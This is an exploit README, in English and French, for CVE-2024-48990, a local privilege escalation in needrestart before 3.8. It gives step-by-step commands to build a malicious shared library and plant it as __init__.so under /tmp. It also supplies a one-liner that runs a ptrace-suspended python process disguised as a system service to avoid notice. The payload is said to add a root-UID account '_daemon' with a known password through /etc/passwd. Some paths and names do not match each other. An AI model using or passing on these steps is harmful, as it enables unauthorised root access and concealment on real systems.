
Exploit for CVE-2024-48990 (Local Privilege Escalation in needrestart < 3.8)
Exploit pour CVE-2024-48990 (Élévation de privilèges locale dans needrestart < 3.8)
Lisez https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys fait un excellent travail pour l'expliquer.
En résumé :
Sur les systèmes avec needrestart antérieur à 3.8, les utilisateurs locaux peuvent exécuter du code arbitraire et élever leurs privilèges à root sans interaction utilisateur.

L'exploit tel qu'il est écrit actuellement ajoutera un nouvel utilisateur nommé "_daemon" au système avec un UID/GID de 0 (root) en utilisant une commande sed pour éditer le fichier /etc/passwd. Le mot de passe est le même que le nom d'utilisateur. On n'est même pas sûr de pouvoir appeler cela un exploit puisqu'il s'agit simplement d'une bibliothèque partagée qui exécute une seule commande.
Pour compiler l'exploit vous-même, exécutez la commande ci-dessous :
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
Vous pouvez exécuter n'importe quel script python de longue durée. Mais pour paraître moins suspect dans la liste des processus, vous pouvez utiliser cette ligne unique pour démarrer un interpréteur python qui est suspendu dès son démarrage (donc il n'exécute jamais rien).
PYTHON - Le chemin vers l'interpréteur python
ARGV - La chaîne qui apparaîtra dans la liste des processus
PYPATH - Le chemin vers le répertoire que vous avez créé (sans inclure le répertoire importlib)
Pour ARGV, assurez-vous que :
le chemin vers l'interpréteur python est le premier argument dans ARGV
le deuxième argument (le "script") est un fichier qui existe réellement sur le système (needrestart le vérifie). Il n'a pas besoin d'être un vrai script python.
le deuxième argument n'est pas le même qu'un processus déjà en cours (needrestart utilisera celui "en cache" qu'il a déjà vu).
Sinon, vous pouvez jouer avec ARGV autant que vous le souhaitez. Peut-être le faire ressembler à un processus système normal ?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
Il doit se trouver dans le répertoire importlib et être nommé "init.so"
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
La prochaine fois que needrestart s'exécute (par exemple une mise à jour avec apt ou unattended upgrades le démarre), il exécutera python avec la variable PYTHONPATH de notre processus et chargera le fichier init.so, qui exécutera notre commande. Vous pourrez vous connecter avec les identifiants _damon:_daemon.
needrestart n'est pas complètement idiot et vérifie quelques éléments lors de l'analyse des processus et avant d'entrer dans la partie vulnérable du code